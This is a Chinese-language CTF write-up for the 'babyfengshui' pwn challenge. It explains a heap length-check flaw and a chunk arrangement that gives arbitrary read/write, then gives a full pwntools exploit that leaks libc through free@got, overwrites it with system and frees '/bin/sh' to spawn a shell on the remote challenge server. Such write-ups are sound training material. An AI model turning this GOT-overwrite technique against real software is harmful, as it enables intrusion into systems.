XCTF/BUU-babyfengshui-WP

Posted on Jan 1, 2021

XCTF总是给出一个错误的libc,让我对无法get shell百思不得其解,真是不友好,以后统一用LibcSearcher解决libc的问题吧。 这道题其实挺简单的,但是我还是做了很久,主要是没理解对输入长度的判断。

漏洞点

QQ截图20210101114916.png

不论是最开始的add还是后来的update操作,输入长度的判断都是通过这个if进行的。改写一下判断,实际做的是v3 >= (int)((ptr[a1]-4) - (*ptr[a1])),也就是通过对description和name两个堆块的地址相减作为可以输入的最大长度

解法

QQ截图20210101115319.png

这两个堆块是一起分配的,看似是相邻的,但是实际上很多情况都不会物理相邻,我们只需要通过一定的构造,在description和name这两个堆块中插入description和name,就可以实现对一个name堆块的完全控制从而通过update和display功能实现任意地址读写。

那么如何构造呢,非常容易,先申请两对description(第一个大小小于fastbin的最大大小以方便后续操作,第二个的大小随意,不要太奇怪就行了)和name,然后把第一对description和name free掉,这时unsorted bin中就有了一个数据段大小为0x80的chunk,再申请一对description和name,description的数据段大小为0x80,显然unsorted bin中的chunk为best fit,这样的话此时堆的状态就是

chunkdatasize
description20x80
description1don’t care
name10x80
name20x80

可见index为2的这对description和name已经物理不相邻了,index为1的那对就可以被我们完全控制了。 然后我们考虑修改name1的指向description1的指针为free@got,通过display泄露,算出system_addr,再通过update修改free@got为system_addr。这个时候free一个指向’/bin/sh\x00’的指针就可以getshell,这个字符串我们可以直接布置在description2中。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level = 'debug')

#sh = remote("220.249.52.134","34014")
sh = remote("node3.buuoj.cn",26430)
elf = ELF("./babyfengshui")
#libc = ELF("./libc.so.6")
ptr = 0x804B080

def add(size,payload):
    sh.sendlineafter("Action: ",'0')
    sh.sendlineafter("description: ",str(size))
    sh.sendlineafter("name: ","pwn")
    sh.sendlineafter("text length: ",str(size))
    sh.sendlineafter("text: ",payload)

def Delete(index):
    sh.sendlineafter("Action: ",'1')
    sh.sendlineafter("index: ",str(index))

def Display(index):
    sh.sendlineafter("Action: ",'2')
    sh.sendlineafter("index: ",str(index))

def Update(index,size,payload):
    sh.sendlineafter("Action: ",'3')
    sh.sendlineafter("index: ",str(index))
    sh.sendlineafter("text length: ",str(size))
    sh.sendafter("text: ",payload)

add(0x10,"index:0")
add(0x60,"index:1")

Delete(0)
add(0x80,"index:2")

payload = "/bin/sh\x00" + 'a' * (0x80) + 'a' * (0x60 + 0x8) + p32(elf.got['free']) 
Update(2,len(payload),payload)
Display(1)
sh.recvuntil("description: ")

free_addr = u32(sh.recv(4))
print hex(free_addr)
libc = LibcSearcher('free',free_addr)
system_addr = free_addr - libc.dump('free') + libc.dump('system')
#system_addr = free_addr - libc.symbols['free'] + libc.symbols['system']
print hex(system_addr)

Update(1,0x4,p32(system_addr))
Delete(2)

sh.interactive()